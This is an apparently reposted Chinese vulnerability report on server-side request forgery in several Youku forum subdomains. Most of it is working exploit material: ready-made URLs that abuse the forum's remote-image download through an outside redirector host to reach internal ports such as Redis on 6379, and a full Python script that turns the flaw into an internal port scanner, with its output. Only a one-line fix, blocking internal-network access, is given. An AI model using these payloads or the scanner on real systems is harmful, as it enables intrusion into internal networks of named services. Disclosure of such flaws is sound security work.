优酷多个分站存在SSRF漏洞大礼包
程序员文章站
2022-03-29 14:33:10
RT
具体危害请看前面的例子
https://bbs.yj.youku.com/forum.php?mod=ajax&action=downremoteim...
RT
具体危害请看前面的例子
https://bbs.yj.youku.com/forum.php?mod=ajax&action=downremoteimg&message=[img]https://tv.phpinfo.me/exp.php?s=ftp%26ip={ip}%26port={port}%26data=helo.jpg[/img]
https://club.youku.com//forum.php?mod=ajax&action=downremoteimg&message=[img]https://tv.phpinfo.me/exp.php?s=ftp%26ip=127.0.0.1%26port=6379%26data=helo.jpg[/img]
https://bbs.youkutv.com//forum.php?mod=ajax&action=downremoteimg&message=[img]https://tv.phpinfo.me/exp.php?s=ftp%26ip=127.0.0.1%26port=80%26data=helo.jpg[/img]
https://bbs.share.youku.com/forum.php?mod=ajax&action=downremoteimg&message=[img]https://tv.phpinfo.me/exp.php?s=ftp%26ip=127.0.0.1%26port=6379%26data=helo.jpg[/img]
https://bbs.wan.youku.com//forum.php?mod=ajax&action=downremoteimg&message=[img]https://tv.phpinfo.me/exp.php?s=ftp%26ip=127.0.0.1%26port=80%26data=helo.jpg[/img]
随便找个站扫下端口:
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author: Lcy # @Date: 2016-07-05 20:55:30 # @Last Modified by: Lcy # @Last Modified time: 2016-07-11 09:28:01 import requests import threading import Queue import time threads_count = 1 que = Queue.Queue() lock = threading.Lock() threads = [] ports = [21,22,23,25,69,80,81,82,83,84,110,389,389,443,445,488,512,513,514,873,901,1043,1080,1099,1090,1158,1352,1433,1434,1521,2049,2100,2181,2601,2604,3128,3306,3307,3389,4440,4444,4445,4848,5000,5280,5432,5500,5632,5900,5901,5902,5903,5984,6000,6033,6082,6379,6666,7001,7001,7002,7070,7101,7676,7777,7899,7988,8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8069,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8098,8099,8980,8990,8443,8686,8787,8880,8888,9000,9001,9043,9045,9060,9080,9081,9088,9088,9090,9091,9100,9200,9300,9443,9871,9999,10000,10068,10086,11211,20000,22022,22222,27017,28017,50060,50070] for i in ports: que.put(str(i)) def run(): while que.qsize() > 0: p = que.get() try: url = "https://bbs.yj.youku.com/forum.php?mod=ajax&action=downremoteimg&message=[img]https://tools.phpinfo.me/ssrf.php?s=ftp%26ip=127.0.0.1%26port={port}%26data=helo.jpg[/img]".format( port=p) time.sleep(0.3) r = requests.get(url,timeout=1.8) except: lock.acquire() print "{port} Open".format(port=p) lock.release() for i in range(threads_count): t = threading.Thread(target=run) threads.append(t) t.setDaemon(True) t.start() while que.qsize() > 0: time.sleep(1.0)
80 Open 9000 Open 11211 Open 22022 Open
解决方案:
禁止对内网资源访问,取外网资源的API部署在不属于自己的机房
下一篇: 移动网站建设如何把握设计要点